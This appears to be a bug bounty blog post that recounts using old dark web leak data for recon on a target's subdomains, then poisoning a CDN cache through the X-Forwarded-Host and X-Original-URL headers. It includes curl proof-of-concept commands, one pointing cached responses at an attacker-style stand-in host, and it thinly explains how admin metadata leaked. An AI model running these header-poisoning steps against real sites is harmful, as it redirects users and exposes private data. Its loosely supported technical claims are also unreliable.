Free Link 🎈

I always thought "old data" was like expired milk. Smells bad, looks useless, and you throw it away without thinking twice. 🥛🚮

Turns out… some "expired" things just need to be shaken a little. Like resumes. Or vulnerabilities.

This story starts exactly like that.

🧠 Act 1: When Everyone Ignored the Leak — I Didn't

Scrolling through a dark web dump forum at 2:17 AM is not glamorous. It's mostly garbage, fake leaks, recycled breaches, and screenshots that scream "trust me bro".

Then I saw it.

A 3-year-old dump. Everyone in the comments was roasting it:

"Old." "Already patched." "Company rotated credentials."

Perfect. 😈

Because here's the thing most people forget:

Leaks age faster than bugs.

I grabbed the dump anyway.

What was inside?

• Email address
• Internal hostnames
• API paths
• CDN subdomains
• Debug endpoints
• One odd-looking URL pattern that kept repeating

Something like:

/api/v2/content/preview

No tokens. No auth headers. Just vibes.

🔍 Act 2: Turning Old Dark Web Data into Fresh Recon

I didn't jump straight to exploitation. I did mass recon, properly.

Step 1: Mapping the leaked infrastructure

From the dump:

• cdn-assets.target.com
• preview.target.com
• cache.target.com

Classic mistake: companies delete data, not architecture.

Step 2: Probing with real traffic

httpx -l subdomains.txt -status-code -title -tech-detect

One response stood out:

preview.target.com [200] Cache-Control: public, max-age=86400

Public cache. Preview endpoint. API path.

That's not a red flag.

That's a parade 🚩🚩🚩

🧨 Act 3: The Cache Poisoning Endpoint Nobody Expected

This was not your "add ?test=xss" beginner stuff.

The endpoint behaved like this:

GET /api/v2/content/preview
Headers:
X-Forwarded-Host
X-Original-URL
X-Rewrite-URL

Interesting behavior:

• Response changed based on headers
• Response was cacheable
• CDN respected the poisoned response

Confirming cache behavior

curl -I https://preview.target.com/api/v2/content/preview

Returned:

CF-Cache-Status: HIT
Cache-Control: public

That's when I smiled.

🧪 Act 4: Poisoning the Cache (Properly)

Instead of query params, I targeted header-based cache keys.

Payload 1: Host header poisoning

curl https://preview.target.com/api/v2/content/preview \
  -H "X-Forwarded-Host: evil.attacker.com"

Response body:

{
  "preview_url": "https://evil.attacker.com/render"
}

Cached.

Now every user hitting that endpoint? They get my host.

But I didn't stop there.

💥 Act 5: Escalating from "Interesting" to "Pay Me"

The response JSON contained internal metadata:

{
  "user_email": "admin@target.com",
  "role": "super_admin",
  "session_hint": "preview-session-9832",
  "debug": true
}

This wasn't just cache poisoning.

This was sensitive information disclosure at scale.

Making it persistent

I poisoned the cache with:

curl https://preview.target.com/api/v2/content/preview \
  -H "X-Original-URL: /admin/export?debug=true"

Now the CDN cached:

• Internal admin endpoints
• Debug flags
• Sensitive metadata

No auth required.

🧠 Act 6: Why This Bug Was High Severity

Let's be clear why this mattered:

• Business logic abuse
• Potential SSRF chaining

This wasn't theory. This was production traffic.

🧾 Proof of Concept (Clean & Reproducible)

Step 1: Poison cache

curl https://preview.target.com/api/v2/content/preview \
  -H "X-Forwarded-Host: attacker.com"

Step 2: Confirm cache hit

curl -I https://preview.target.com/api/v2/content/preview
CF-Cache-Status: HIT

Step 3: Observe leaked data

curl https://preview.target.com/api/v2/content/preview

Sensitive response returned without headers.

🎯 Final Thoughts

Everyone else saw an old dark web dump. I saw an unexpired vulnerability.

Bug bounty isn't about finding new bugs. It's about finding forgotten trust.

And sometimes… the most profitable bugs are just waiting for someone curious enough to shake the milk carton. 🥛💥

Connect with Me!

• Instagram: @rev_shinchan
• Gmail: rev30102001@gmail.com

#EnnamPolVazhlkai😇

#BugBounty, #CyberSecurity, #InfoSec, #Hacking, #WebSecurity, #CTF